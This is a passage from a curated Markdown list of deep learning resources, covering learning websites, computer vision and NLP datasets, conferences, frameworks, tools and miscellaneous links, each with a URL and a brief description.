26. [Guide to Machine Learning](http://yerevann.com/a-guide-to-deep-learning/)
27. [Deep Learning for Beginners](https://spandan-madan.github.io/DeepLearningProject/)
28. [Machine Learning Mastery blog](https://machinelearningmastery.com/blog/)
29. [ML Compiled](https://ml-compiled.readthedocs.io/en/latest/)
30. [Programming Community Curated Resources](https://hackr.io/tutorials/learn-artificial-intelligence-ai)
31. [A Beginner's Guide To Understanding Convolutional Neural Networks](https://adeshpande3.github.io/A-Beginner%27s-Guide-To-Understanding-Convolutional-Neural-Networks/)
32. [ahmedbesbes.com](http://ahmedbesbes.com)
33. [amitness.com](https://amitness.com/)
34. [AI Summer](https://theaisummer.com/)
35. [AI Hub - supported by AAAI, NeurIPS](https://aihub.org/)
36. [CatalyzeX: Machine Learning Hub for Builders and Makers](https://www.catalyzeX.com)
37. [The Epic Code](https://theepiccode.com/)
38. [all AI news](https://allainews.com/)
### Datasets
1. [MNIST](http://yann.lecun.com/exdb/mnist/) Handwritten digits
2. [Google House Numbers](http://ufldl.stanford.edu/housenumbers/) from street view
3. [CIFAR-10 and CIFAR-100](http://www.cs.toronto.edu/~kriz/cifar.html)
4. [IMAGENET](http://www.image-net.org/)
5. [Tiny Images](http://groups.csail.mit.edu/vision/TinyImages/) 80 Million tiny images6.
6. [Flickr Data](https://yahooresearch.tumblr.com/post/89783581601/one-hundred-million-creative-commons-flickr-images) 100 Million Yahoo dataset
7. [Berkeley Segmentation Dataset 500](http://www.eecs.berkeley.edu/Research/Projects/CS/vision/bsds/)
8. [UC Irvine Machine Learning Repository](http://archive.ics.uci.edu/ml/)
9. [Flickr 8k](http://nlp.cs.illinois.edu/HockenmaierGroup/Framing_Image_Description/KCCA.html)
10. [Flickr 30k](http://shannon.cs.illinois.edu/DenotationGraph/)
11. [Microsoft COCO](http://mscoco.org/home/)
12. [VQA](http://www.visualqa.org/)
13. [Image QA](http://www.cs.toronto.edu/~mren/imageqa/data/cocoqa/)
14. [AT&T Laboratories Cambridge face database](http://www.uk.research.att.com/facedatabase.html)
15. [AVHRR Pathfinder](http://xtreme.gsfc.nasa.gov)
16. [Air Freight](http://www.anc.ed.ac.uk/~amos/afreightdata.html) - The Air Freight data set is a ray-traced image sequence along with ground truth segmentation based on textural characteristics. (455 images + GT, each 160x120 pixels). (Formats: PNG)
17. [Amsterdam Library of Object Images](http://www.science.uva.nl/~aloi/) - ALOI is a color image collection of one-thousand small objects, recorded for scientific purposes. In order to capture the sensory variation in object recordings, we systematically varied viewing angle, illumination angle, and illumination color for each object, and additionally captured wide-baseline stereo images. We recorded over a hundred images of each object, yielding a total of 110,250 images for the collection. (Formats: png)
18. [Annotated face, hand, cardiac & meat images](http://www.imm.dtu.dk/~aam/) - Most images & annotations are supplemented by various ASM/AAM analyses using the AAM-API. (Formats: bmp,asf)
19. [Image Analysis and Computer Graphics](http://www.imm.dtu.dk/image/)
21. [Brown University Stimuli](http://www.cog.brown.edu/~tarr/stimuli.html) - A variety of datasets including geons, objects, and "greebles". Good for testing recognition algorithms. (Formats: pict)
22. [CAVIAR video sequences of mall and public space behavior](http://homepages.inf.ed.ac.uk/rbf/CAVIARDATA1/) - 90K video frames in 90 sequences of various human activities, with XML ground truth of detection and behavior classification (Formats: MPEG2 & JPEG)
23. [Machine Vision Unit](http://www.ipab.inf.ed.ac.uk/mvu/)
25. [CCITT Fax standard images](http://www.cs.waikato.ac.nz/~singlis/ccitt.html) - 8 images (Formats: gif)
26. [CMU CIL's Stereo Data with Ground Truth](cil-ster.html) - 3 sets of 11 images, including color tiff images with spectroradiometry (Formats: gif, tiff)
27. [CMU PIE Database](http://www.ri.cmu.edu/projects/project_418.html) - A database of 41,368 face images of 68 people captured under 13 poses, 43 illuminations conditions, and with 4 different expressions.
28. [CMU VASC Image Database](http://www.ius.cs.cmu.edu/idb/) - Images, sequences, stereo pairs (thousands of images) (Formats: Sun Rasterimage)
29. [Caltech Image Database](http://www.vision.caltech.edu/html-files/archive.html) - about 20 images - mostly top-down views of small objects and toys. (Formats: GIF)
30. [Columbia-Utrecht Reflectance and Texture Database](http://www.cs.columbia.edu/CAVE/curet/) - Texture and reflectance measurements for over 60 samples of 3D texture, observed with over 200 different combinations of viewing and illumination directions. (Formats: bmp)
31. [Computational Colour Constancy Data](http://www.cs.sfu.ca/~colour/data/index.html) - A dataset oriented towards computational color constancy, but useful for computer vision in general. It includes synthetic data, camera sensor data, and over 700 images. (Formats: tiff)
32. [Computational Vision Lab](http://www.cs.sfu.ca/~colour/)
34. [Content-based image retrieval database](http://www.cs.washington.edu/research/imagedatabase/groundtruth/) - 11 sets of color images for testing algorithms for content-based retrieval. Most sets have a description file with names of objects in each image. (Formats: jpg)
35. [Efficient Content-based Retrieval Group](http://www.cs.washington.edu/research/imagedatabase/)
37. [Densely Sampled View Spheres](http://ls7-www.cs.uni-dortmund.de/~peters/pages/research/modeladaptsys/modeladaptsys_vba_rov.html) - Densely sampled view spheres - upper half of the view sphere of two toy objects with 2500 images each. (Formats: tiff)
38. [Computer Science VII (Graphical Systems)](http://ls7-www.cs.uni-dortmund.de/)
40. [Digital Embryos](https://web-beta.archive.org/web/20011216051535/vision.psych.umn.edu/www/kersten-lab/demos/digitalembryo.html) - Digital embryos are novel objects which may be used to develop and test object recognition systems. They have an organic appearance. (Formats: various formats are available on request)
41. [Univerity of Minnesota Vision Lab](http://vision.psych.umn.edu/users/kersten//kersten-lab/kersten-lab.html)
42. [El Salvador Atlas of Gastrointestinal VideoEndoscopy](http://www.gastrointestinalatlas.com) - Images and Videos of his-res of studies taken from Gastrointestinal Video endoscopy. (Formats: jpg, mpg, gif)
43. [FG-NET Facial Aging Database](http://sting.cycollege.ac.cy/~alanitis/fgnetaging/index.htm) - Database contains 1002 face images showing subjects at different ages. (Formats: jpg)
44. [FVC2000 Fingerprint Databases](http://bias.csr.unibo.it/fvc2000/) - FVC2000 is the First International Competition for Fingerprint Verification Algorithms. Four fingerprint databases constitute the FVC2000 benchmark (3520 fingerprints in all).
45. [Biometric Systems Lab](http://biolab.csr.unibo.it/home.asp) - University of Bologna
46. [Face and Gesture images and image sequences](http://www.fg-net.org) - Several image datasets of faces and gestures that are ground truth annotated for benchmarking
47. [German Fingerspelling Database](http://www-i6.informatik.rwth-aachen.de/~dreuw/database.html) - The database contains 35 gestures and consists of 1400 image sequences that contain gestures of 20 different persons recorded under non-uniform daylight lighting conditions. (Formats: mpg,jpg)
48. [Language Processing and Pattern Recognition](http://www-i6.informatik.rwth-aachen.de/)
50. [Groningen Natural Image Database](http://hlab.phys.rug.nl/archive.html) - 4000+ 1536x1024 (16 bit) calibrated outdoor images (Formats: homebrew)
51. [ICG Testhouse sequence](http://www.icg.tu-graz.ac.at/~schindler/Data) - 2 turntable sequences from different viewing heights, 36 images each, resolution 1000x750, color (Formats: PPM)
52. [Institute of Computer Graphics and Vision](http://www.icg.tu-graz.ac.at)
54. [IEN Image Library](http://www.ien.it/is/vislib/) - 1000+ images, mostly outdoor sequences (Formats: raw, ppm)
55. [INRIA's Syntim images database](http://www-rocq.inria.fr/~tarel/syntim/images.html) - 15 color image of simple objects (Formats: gif)
56. [INRIA](http://www.inria.fr/)
57. [INRIA's Syntim stereo databases](http://www-rocq.inria.fr/~tarel/syntim/paires.html) - 34 calibrated color stereo pairs (Formats: gif)
58. [Image Analysis Laboratory](http://www.ece.ncsu.edu/imaging/Archives/ImageDataBase/index.html) - Images obtained from a variety of imaging modalities -- raw CFA images, range images and a host of "medical images". (Formats: homebrew)
59. [Image Analysis Laboratory](http://www.ece.ncsu.edu/imaging)
61. [Image Database](http://www.prip.tuwien.ac.at/prip/image.html) - An image database including some textures
62. [JAFFE Facial Expression Image Database](http://www.mis.atr.co.jp/~mlyons/jaffe.html) - The JAFFE database consists of 213 images of Japanese female subjects posing 6 basic facial expressions as well as a neutral pose. Ratings on emotion adjectives are also available, free of charge, for research purposes. (Formats: TIFF Grayscale images.)
63. [ATR Research, Kyoto, Japan](http://www.mic.atr.co.jp/)
64. [JISCT Stereo Evaluation](ftp://ftp.vislist.com/IMAGERY/JISCT/) - 44 image pairs. These data have been used in an evaluation of stereo analysis, as described in the April 1993 ARPA Image Understanding Workshop paper ``The JISCT Stereo Evaluation'' by R.C.Bolles, H.H.Baker, and M.J.Hannah, 263--274 (Formats: SSI)
65. [MIT Vision Texture](https://vismod.media.mit.edu/vismod/imagery/VisionTexture/vistex.html) - Image archive (100+ images) (Formats: ppm)
66. [MIT face images and more](ftp://whitechapel.media.mit.edu/pub/images) - hundreds of images (Formats: homebrew)
67. [Machine Vision](http://vision.cse.psu.edu/book/testbed/images/) - Images from the textbook by Jain, Kasturi, Schunck (20+ images) (Formats: GIF TIFF)
68. [Mammography Image Databases](http://marathon.csee.usf.edu/Mammography/Database.html) - 100 or more images of mammograms with ground truth. Additional images available by request, and links to several other mammography databases are provided. (Formats: homebrew)
69. [ftp://ftp.cps.msu.edu/pub/prip](ftp://ftp.cps.msu.edu/pub/prip) - many images (Formats: unknown)
70. [Middlebury Stereo Data Sets with Ground Truth](http://www.middlebury.edu/stereo/data.html) - Six multi-frame stereo data sets of scenes containing planar regions. Each data set contains 9 color images and subpixel-accuracy ground-truth data. (Formats: ppm)
71. [Middlebury Stereo Vision Research Page](http://www.middlebury.edu/stereo) - Middlebury College
72. [Modis Airborne simulator, Gallery and data set](http://ltpwww.gsfc.nasa.gov/MODIS/MAS/) - High Altitude Imagery from around the world for environmental modeling in support of NASA EOS program (Formats: JPG and HDF)
73. [NIST Fingerprint and handwriting](ftp://sequoyah.ncsl.nist.gov/pub/databases/data) - datasets - thousands of images (Formats: unknown)
74. [NIST Fingerprint data](ftp://ftp.cs.columbia.edu/jpeg/other/uuencoded) - compressed multipart uuencoded tar file
75. [NLM HyperDoc Visible Human Project](http://www.nlm.nih.gov/research/visible/visible_human.html) - Color, CAT and MRI image samples - over 30 images (Formats: jpeg)
76. [National Design Repository](http://www.designrepository.org) - Over 55,000 3D CAD and solid models of (mostly) mechanical/machined engineering designs. (Formats: gif,vrml,wrl,stp,sat)
77. [Geometric & Intelligent Computing Laboratory](http://gicl.mcs.drexel.edu)
79. [OSU (MSU) 3D Object Model Database](http://eewww.eng.ohio-state.edu/~flynn/3DDB/Models/) - several sets of 3D object models collected over several years to use in object recognition research (Formats: homebrew, vrml)
80. [OSU (MSU/WSU) Range Image Database](http://eewww.eng.ohio-state.edu/~flynn/3DDB/RID/) - Hundreds of real and synthetic images (Formats: gif, homebrew)
81. [OSU/SAMPL Database: Range Images, 3D Models, Stills, Motion Sequences](http://sampl.eng.ohio-state.edu/~sampl/database.htm) - Over 1000 range images, 3D object models, still images and motion sequences (Formats: gif, ppm, vrml, homebrew)
82. [Signal Analysis and Machine Perception Laboratory](http://sampl.eng.ohio-state.edu)
84. [Otago Optical Flow Evaluation Sequences](http://www.cs.otago.ac.nz/research/vision/Research/OpticalFlow/opticalflow.html) - Synthetic and real sequences with machine-readable ground truth optical flow fields, plus tools to generate ground truth for new sequences. (Formats: ppm,tif,homebrew)
85. [Vision Research Group](http://www.cs.otago.ac.nz/research/vision/index.html)
87. [ftp://ftp.limsi.fr/pub/quenot/opflow/testdata/piv/](ftp://ftp.limsi.fr/pub/quenot/opflow/testdata/piv/) - Real and synthetic image sequences used for testing a Particle Image Velocimetry application. These images may be used for the test of optical flow and image matching algorithms. (Formats: pgm (raw))
88. [LIMSI-CNRS/CHM/IMM/vision](http://www.limsi.fr/Recherche/IMM/PageIMM.html)
89. [LIMSI-CNRS](http://www.limsi.fr/)
90. [Photometric 3D Surface Texture Database](http://www.taurusstudio.net/research/pmtexdb/index.htm) - This is the first 3D texture database which provides both full real surface rotations and registered photometric stereo data (30 textures, 1680 images). (Formats: TIFF)
91. [SEQUENCES FOR OPTICAL FLOW ANALYSIS (SOFA)](http://www.cee.hw.ac.uk/~mtc/sofa) - 9 synthetic sequences designed for testing motion analysis applications, including full ground truth of motion and camera parameters. (Formats: gif)
92. [Computer Vision Group](http://www.cee.hw.ac.uk/~mtc/research.html)
94. [Sequences for Flow Based Reconstruction](http://www.nada.kth.se/~zucch/CAMERA/PUB/seq.html) - synthetic sequence for testing structure from motion algorithms (Formats: pgm)
95. [Stereo Images with Ground Truth Disparity and Occlusion](http://www-dbv.cs.uni-bonn.de/stereo_data/) - a small set of synthetic images of a hallway with varying amounts of noise added. Use these images to benchmark your stereo algorithm. (Formats: raw, viff (khoros), or tiff)
96. [Stuttgart Range Image Database](http://range.informatik.uni-stuttgart.de) - A collection of synthetic range images taken from high-resolution polygonal models available on the web (Formats: homebrew)
97. [Department Image Understanding](http://www.informatik.uni-stuttgart.de/ipvr/bv/bv_home_engl.html)
99. [The AR Face Database](http://www2.ece.ohio-state.edu/~aleix/ARdatabase.html) - Contains over 4,000 color images corresponding to 126 people's faces (70 men and 56 women). Frontal views with variations in facial expressions, illumination, and occlusions. (Formats: RAW (RGB 24-bit))
100. [Purdue Robot Vision Lab](http://rvl.www.ecn.purdue.edu/RVL/)
101. [The MIT-CSAIL Database of Objects and Scenes](http://web.mit.edu/torralba/www/database.html) - Database for testing multiclass object detection and scene recognition algorithms. Over 72,000 images with 2873 annotated frames. More than 50 annotated object classes. (Formats: jpg)
102. [The RVL SPEC-DB (SPECularity DataBase)](http://rvl1.ecn.purdue.edu/RVL/specularity_database/) - A collection of over 300 real images of 100 objects taken under three different illuminaiton conditions (Diffuse/Ambient/Directed). -- Use these images to test algorithms for detecting and compensating specular highlights in color images. (Formats: TIFF )
103. [Robot Vision Laboratory](http://rvl1.ecn.purdue.edu/RVL/)
105. [The Xm2vts database](http://xm2vtsdb.ee.surrey.ac.uk) - The XM2VTSDB contains four digital recordings of 295 people taken over a period of four months. This database contains both image and video data of faces.
106. [Centre for Vision, Speech and Signal Processing](http://www.ee.surrey.ac.uk/Research/CVSSP)
107. [Traffic Image Sequences and 'Marbled Block' Sequence](http://i21www.ira.uka.de/image_sequences) - thousands of frames of digitized traffic image sequences as well as the 'Marbled Block' sequence (grayscale images) (Formats: GIF)
108. [IAKS/KOGS](http://i21www.ira.uka.de)
110. [U Bern Face images](ftp://ftp.iam.unibe.ch/pub/Images/FaceImages) - hundreds of images (Formats: Sun rasterfile)
111. [U Michigan textures](ftp://freebie.engin.umich.edu/pub/misc/textures) (Formats: compressed raw)
112. [U Oulu wood and knots database](http://www.ee.oulu.fi/~olli/Projects/Lumber.Grading.html) - Includes classifications - 1000+ color images (Formats: ppm)
113. [UCID - an Uncompressed Colour Image Database](http://vision.doc.ntu.ac.uk/datasets/UCID/ucid.html) - a benchmark database for image retrieval with predefined ground truth. (Formats: tiff)
115. [UMass Vision Image Archive](http://vis-www.cs.umass.edu/~vislib/) - Large image database with aerial, space, stereo, medical images and more. (Formats: homebrew)
116. [UNC's 3D image database](ftp://sunsite.unc.edu/pub/academic/computer-science/virtual-reality/3d) - many images (Formats: GIF)
117. [USF Range Image Data with Segmentation Ground Truth](http://marathon.csee.usf.edu/range/seg-comp/SegComp.html) - 80 image sets (Formats: Sun rasterimage)
118. [University of Oulu Physics-based Face Database](http://www.ee.oulu.fi/research/imag/color/pbfd.html) - contains color images of faces under different illuminants and camera calibration conditions as well as skin spectral reflectance measurements of each person.
119. [Machine Vision and Media Processing Unit](http://www.ee.oulu.fi/mvmp/)
121. [University of Oulu Texture Database](http://www.outex.oulu.fi) - Database of 320 surface textures, each captured under three illuminants, six spatial resolutions and nine rotation angles. A set of test suites is also provided so that texture segmentation, classification, and retrieval algorithms can be tested in a standard manner. (Formats: bmp, ras, xv)
122. [Machine Vision Group](http://www.ee.oulu.fi/mvg)
124. [Usenix face database](ftp://ftp.uu.net/published/usenix/faces) - Thousands of face images from many different sites (circa 994)
125. [View Sphere Database](http://www-prima.inrialpes.fr/Prima/hall/view_sphere.html) - Images of 8 objects seen from many different view points. The view sphere is sampled using a geodesic with 172 images/sphere. Two sets for training and testing are available. (Formats: ppm)
126. [PRIMA, GRAVIR](http://www-prima.inrialpes.fr/Prima/)
127. [Vision-list Imagery Archive](ftp://ftp.vislist.com/IMAGERY/) - Many images, many formats
128. [Wiry Object Recognition Database](http://www.cs.cmu.edu/~owenc/word.htm) - Thousands of images of a cart, ladder, stool, bicycle, chairs, and cluttered scenes with ground truth labelings of edges and regions. (Formats: jpg)
129. [3D Vision Group](http://www.cs.cmu.edu/0.000000E+003dvision/)
131. [Yale Face Database](http://cvc.yale.edu/projects/yalefaces/yalefaces.html) - 165 images (15 individuals) with different lighting, expression, and occlusion configurations.
132. [Yale Face Database B](http://cvc.yale.edu/projects/yalefacesB/yalefacesB.html) - 5760 single light source images of 10 subjects each seen under 576 viewing conditions (9 poses x 64 illumination conditions). (Formats: PGM)
133. [Center for Computational Vision and Control](http://cvc.yale.edu/)
134. [DeepMind QA Corpus](https://github.com/deepmind/rc-data) - Textual QA corpus from CNN and DailyMail. More than 300K documents in total. [Paper](http://arxiv.org/abs/1506.03340) for reference.
135. [YouTube-8M Dataset](https://research.google.com/youtube8m/) - YouTube-8M is a large-scale labeled video dataset that consists of 8 million YouTube video IDs and associated labels from a diverse vocabulary of 4800 visual entities.
136. [Open Images dataset](https://github.com/openimages/dataset) - Open Images is a dataset of ~9 million URLs to images that have been annotated with labels spanning over 6000 categories.
137. [Visual Object Classes Challenge 2012 (VOC2012)](http://host.robots.ox.ac.uk/pascal/VOC/voc2012/index.html#devkit) - VOC2012 dataset containing 12k images with 20 annotated classes for object detection and segmentation.
138. [Fashion-MNIST](https://github.com/zalandoresearch/fashion-mnist) - MNIST like fashion product dataset consisting of a training set of 60,000 examples and a test set of 10,000 examples. Each example is a 28x28 grayscale image, associated with a label from 10 classes.
139. [Large-scale Fashion (DeepFashion) Database](http://mmlab.ie.cuhk.edu.hk/projects/DeepFashion.html) - Contains over 800,000 diverse fashion images. Each image in this dataset is labeled with 50 categories, 1,000 descriptive attributes, bounding box and clothing landmarks
140. [FakeNewsCorpus](https://github.com/several27/FakeNewsCorpus) - Contains about 10 million news articles classified using [opensources.co](http://opensources.co) types
141. [LLVIP](https://github.com/bupt-ai-cz/LLVIP) - 15488 visible-infrared paired images (30976 images) for low-light vision research, [Project_Page](https://bupt-ai-cz.github.io/LLVIP/)
142. [MSDA](https://github.com/bupt-ai-cz/Meta-SelfLearning) - Over over 5 million images from 5 different domains for multi-source ocr/text recognition DA research, [Project_Page](https://bupt-ai-cz.github.io/Meta-SelfLearning/)
143. [SANAD: Single-Label Arabic News Articles Dataset for Automatic Text Categorization](https://data.mendeley.com/datasets/57zpx667y9/2) - SANAD Dataset is a large collection of Arabic news articles that can be used in different Arabic NLP tasks such as Text Classification and Word Embedding. The articles were collected using Python scripts written specifically for three popular news websites: AlKhaleej, AlArabiya and Akhbarona.
144. [Referit3D](https://referit3d.github.io) - Two large-scale and complementary visio-linguistic datasets (aka Nr3D and Sr3D) for identifying fine-grained 3D objects in ScanNet scenes. Nr3D contains 41.5K natural, free-form utterances, and Sr3d contains 83.5K template-based utterances.
145. [SQuAD](https://rajpurkar.github.io/SQuAD-explorer/) - Stanford released ~100,000 English QA pairs and ~50,000 unanswerable questions
146. [FQuAD](https://fquad.illuin.tech/) - ~25,000 French QA pairs released by Illuin Technology
147. [GermanQuAD and GermanDPR](https://www.deepset.ai/germanquad) - deepset released ~14,000 German QA pairs
148. [SberQuAD](https://github.com/annnyway/QA-for-Russian) - Sberbank released ~90,000 Russian QA pairs
149. [ArtEmis](http://artemisdataset.org/) - Contains 450K affective annotations of emotional responses and linguistic explanations for 80,000 artworks of WikiArt.
### Conferences
1. [CVPR - IEEE Conference on Computer Vision and Pattern Recognition](http://cvpr2018.thecvf.com)
2. [AAMAS - International Joint Conference on Autonomous Agents and Multiagent Systems](http://celweb.vuse.vanderbilt.edu/aamas18/)
3. [IJCAI - International Joint Conference on Artificial Intelligence](https://www.ijcai-18.org/)
4. [ICML - International Conference on Machine Learning](https://icml.cc)
5. [ECML - European Conference on Machine Learning](http://www.ecmlpkdd2018.org)
6. [KDD - Knowledge Discovery and Data Mining](http://www.kdd.org/kdd2018/)
7. [NIPS - Neural Information Processing Systems](https://nips.cc/Conferences/2018)
8. [O'Reilly AI Conference - O'Reilly Artificial Intelligence Conference](https://conferences.oreilly.com/artificial-intelligence/ai-ny)
9. [ICDM - International Conference on Data Mining](https://www.waset.org/conference/2018/07/istanbul/ICDM)
10. [ICCV - International Conference on Computer Vision](http://iccv2017.thecvf.com)
11. [AAAI - Association for the Advancement of Artificial Intelligence](https://www.aaai.org)
12. [MAIS - Montreal AI Symposium](https://montrealaisymposium.wordpress.com/)
### Frameworks
1. [Caffe](http://caffe.berkeleyvision.org/)
2. [Torch7](http://torch.ch/)
3. [Theano](http://deeplearning.net/software/theano/)
4. [cuda-convnet](https://code.google.com/p/cuda-convnet2/)
5. [convetjs](https://github.com/karpathy/convnetjs)
5. [Ccv](http://libccv.org/doc/doc-convnet/)
6. [NuPIC](http://numenta.org/nupic.html)
7. [DeepLearning4J](http://deeplearning4j.org/)
8. [Brain](https://github.com/harthur/brain)
9. [DeepLearnToolbox](https://github.com/rasmusbergpalm/DeepLearnToolbox)
10. [Deepnet](https://github.com/nitishsrivastava/deepnet)
11. [Deeppy](https://github.com/andersbll/deeppy)
12. [JavaNN](https://github.com/ivan-vasilev/neuralnetworks)
13. [hebel](https://github.com/hannes-brt/hebel)
14. [Mocha.jl](https://github.com/pluskid/Mocha.jl)
15. [OpenDL](https://github.com/guoding83128/OpenDL)
16. [cuDNN](https://developer.nvidia.com/cuDNN)
17. [MGL](http://melisgl.github.io/mgl-pax-world/mgl-manual.html)
18. [Knet.jl](https://github.com/denizyuret/Knet.jl)
19. [Nvidia DIGITS - a web app based on Caffe](https://github.com/NVIDIA/DIGITS)
20. [Neon - Python based Deep Learning Framework](https://github.com/NervanaSystems/neon)
21. [Keras - Theano based Deep Learning Library](http://keras.io)
22. [Chainer - A flexible framework of neural networks for deep learning](http://chainer.org/)
23. [RNNLM Toolkit](http://rnnlm.org/)
24. [RNNLIB - A recurrent neural network library](http://sourceforge.net/p/rnnl/wiki/Home/)
25. [char-rnn](https://github.com/karpathy/char-rnn)
26. [MatConvNet: CNNs for MATLAB](https://github.com/vlfeat/matconvnet)
27. [Minerva - a fast and flexible tool for deep learning on multi-GPU](https://github.com/dmlc/minerva)
28. [Brainstorm - Fast, flexible and fun neural networks.](https://github.com/IDSIA/brainstorm)
29. [Tensorflow - Open source software library for numerical computation using data flow graphs](https://github.com/tensorflow/tensorflow)
30. [DMTK - Microsoft Distributed Machine Learning Tookit](https://github.com/Microsoft/DMTK)
31. [Scikit Flow - Simplified interface for TensorFlow (mimicking Scikit Learn)](https://github.com/google/skflow)
32. [MXnet - Lightweight, Portable, Flexible Distributed/Mobile Deep Learning framework](https://github.com/apache/incubator-mxnet)
33. [Veles - Samsung Distributed machine learning platform](https://github.com/Samsung/veles)
34. [Marvin - A Minimalist GPU-only N-Dimensional ConvNets Framework](https://github.com/PrincetonVision/marvin)
35. [Apache SINGA - A General Distributed Deep Learning Platform](http://singa.incubator.apache.org/)
36. [DSSTNE - Amazon's library for building Deep Learning models](https://github.com/amznlabs/amazon-dsstne)
37. [SyntaxNet - Google's syntactic parser - A TensorFlow dependency library](https://github.com/tensorflow/models/tree/master/syntaxnet)
38. [mlpack - A scalable Machine Learning library](http://mlpack.org/)
39. [Torchnet - Torch based Deep Learning Library](https://github.com/torchnet/torchnet)
40. [Paddle - PArallel Distributed Deep LEarning by Baidu](https://github.com/baidu/paddle)
41. [NeuPy - Theano based Python library for ANN and Deep Learning](http://neupy.com)
42. [Lasagne - a lightweight library to build and train neural networks in Theano](https://github.com/Lasagne/Lasagne)
43. [nolearn - wrappers and abstractions around existing neural network libraries, most notably Lasagne](https://github.com/dnouri/nolearn)
44. [Sonnet - a library for constructing neural networks by Google's DeepMind](https://github.com/deepmind/sonnet)
45. [PyTorch - Tensors and Dynamic neural networks in Python with strong GPU acceleration](https://github.com/pytorch/pytorch)
46. [CNTK - Microsoft Cognitive Toolkit](https://github.com/Microsoft/CNTK)
47. [Serpent.AI - Game agent framework: Use any video game as a deep learning sandbox](https://github.com/SerpentAI/SerpentAI)
48. [Caffe2 - A New Lightweight, Modular, and Scalable Deep Learning Framework](https://github.com/caffe2/caffe2)
49. [deeplearn.js - Hardware-accelerated deep learning and linear algebra (NumPy) library for the web](https://github.com/PAIR-code/deeplearnjs)
50. [TVM - End to End Deep Learning Compiler Stack for CPUs, GPUs and specialized accelerators](https://tvm.ai/)
51. [Coach - Reinforcement Learning Coach by Intel® AI Lab](https://github.com/NervanaSystems/coach)
52. [albumentations - A fast and framework agnostic image augmentation library](https://github.com/albu/albumentations)
53. [Neuraxle - A general-purpose ML pipelining framework](https://github.com/Neuraxio/Neuraxle)
54. [Catalyst: High-level utils for PyTorch DL & RL research. It was developed with a focus on reproducibility, fast experimentation and code/ideas reusing](https://github.com/catalyst-team/catalyst)
55. [garage - A toolkit for reproducible reinforcement learning research](https://github.com/rlworkgroup/garage)
56. [Detecto - Train and run object detection models with 5-10 lines of code](https://github.com/alankbi/detecto)
57. [Karate Club - An unsupervised machine learning library for graph structured data](https://github.com/benedekrozemberczki/karateclub)
58. [Synapses - A lightweight library for neural networks that runs anywhere](https://github.com/mrdimosthenis/Synapses)
59. [TensorForce - A TensorFlow library for applied reinforcement learning](https://github.com/reinforceio/tensorforce)
60. [Hopsworks - A Feature Store for ML and Data-Intensive AI](https://github.com/logicalclocks/hopsworks)
61. [Feast - A Feature Store for ML for GCP by Gojek/Google](https://github.com/gojek/feast)
62. [PyTorch Geometric Temporal - Representation learning on dynamic graphs](https://github.com/gojek/feast)
63. [lightly - A computer vision framework for self-supervised learning](https://github.com/lightly-ai/lightly)
64. [Trax — Deep Learning with Clear Code and Speed](https://github.com/google/trax)
65. [Flax - a neural network ecosystem for JAX that is designed for flexibility](https://github.com/google/flax)
66. [QuickVision](https://github.com/Quick-AI/quickvision)
67. [Colossal-AI - An Integrated Large-scale Model Training System with Efficient Parallelization Techniques](https://github.com/hpcaitech/ColossalAI)
68. [haystack: an open-source neural search framework](https://haystack.deepset.ai/docs/intromd)
69. [Maze](https://github.com/enlite-ai/maze) - Application-oriented deep reinforcement learning framework addressing real-world decision problems.
70. [InsNet - A neural network library for building instance-dependent NLP models with padding-free dynamic batching](https://github.com/chncwang/InsNet)
### Tools
1. [Nebullvm](https://github.com/nebuly-ai/nebullvm) - Easy-to-use library to boost deep learning inference leveraging multiple deep learning compilers.
2. [Netron](https://github.com/lutzroeder/netron) - Visualizer for deep learning and machine learning models
2. [Jupyter Notebook](http://jupyter.org) - Web-based notebook environment for interactive computing
3. [TensorBoard](https://github.com/tensorflow/tensorboard) - TensorFlow's Visualization Toolkit
4. [Visual Studio Tools for AI](https://www.microsoft.com/en-us/research/project/visual-studio-code-tools-ai/) - Develop, debug and deploy deep learning and AI solutions
5. [TensorWatch](https://github.com/microsoft/tensorwatch) - Debugging and visualization for deep learning
6. [ML Workspace](https://github.com/ml-tooling/ml-workspace) - All-in-one web-based IDE for machine learning and data science.
7. [dowel](https://github.com/rlworkgroup/dowel) - A little logger for machine learning research. Log any object to the console, CSVs, TensorBoard, text log files, and more with just one call to `logger.log()`
8. [Neptune](https://neptune.ai/) - Lightweight tool for experiment tracking and results visualization.
9. [CatalyzeX](https://chrome.google.com/webstore/detail/code-finder-for-research/aikkeehnlfpamidigaffhfmgbkdeheil) - Browser extension ([Chrome](https://chrome.google.com/webstore/detail/code-finder-for-research/aikkeehnlfpamidigaffhfmgbkdeheil) and [Firefox](https://addons.mozilla.org/en-US/firefox/addon/code-finder-catalyzex/)) that automatically finds and links to code implementations for ML papers anywhere online: Google, Twitter, Arxiv, Scholar, etc.
10. [Determined](https://github.com/determined-ai/determined) - Deep learning training platform with integrated support for distributed training, hyperparameter tuning, smart GPU scheduling, experiment tracking, and a model registry.
11. [DAGsHub](https://dagshub.com/) - Community platform for Open Source ML – Manage experiments, data & models and create collaborative ML projects easily.
12. [hub](https://github.com/activeloopai/Hub) - Fastest unstructured dataset management for TensorFlow/PyTorch by activeloop.ai. Stream & version-control data. Converts large data into single numpy-like array on the cloud, accessible on any machine.
13. [DVC](https://dvc.org/) - DVC is built to make ML models shareable and reproducible. It is designed to handle large files, data sets, machine learning models, and metrics as well as code.
14. [CML](https://cml.dev/) - CML helps you bring your favorite DevOps tools to machine learning.
15. [MLEM](https://mlem.ai/) - MLEM is a tool to easily package, deploy and serve Machine Learning models. It seamlessly supports a variety of scenarios like real-time serving and batch processing.
### Miscellaneous
1. [Caffe Webinar](http://on-demand-gtc.gputechconf.com/gtcnew/on-demand-gtc.php?searchByKeyword=shelhamer&searchItems=&sessionTopic=&sessionEvent=4&sessionYear=2014&sessionFormat=&submit=&select=+)
2. [100 Best Github Resources in Github for DL](http://meta-guide.com/software-meta-guide/100-best-github-deep-learning/)
3. [Word2Vec](https://code.google.com/p/word2vec/)
4. [Caffe DockerFile](https://github.com/tleyden/docker/tree/master/caffe)
5. [TorontoDeepLEarning convnet](https://github.com/TorontoDeepLearning/convnet)
6. [gfx.js](https://github.com/clementfarabet/gfx.js)
7. [Torch7 Cheat sheet](https://github.com/torch/torch7/wiki/Cheatsheet)
8. [Misc from MIT's 'Advanced Natural Language Processing' course](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-864-advanced-natural-language-processing-fall-2005/)
9. [Misc from MIT's 'Machine Learning' course](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-867-machine-learning-fall-2006/lecture-notes/)
10. [Misc from MIT's 'Networks for Learning: Regression and Classification' course](http://ocw.mit.edu/courses/brain-and-cognitive-sciences/9-520-a-networks-for-learning-regression-and-classification-spring-2001/)
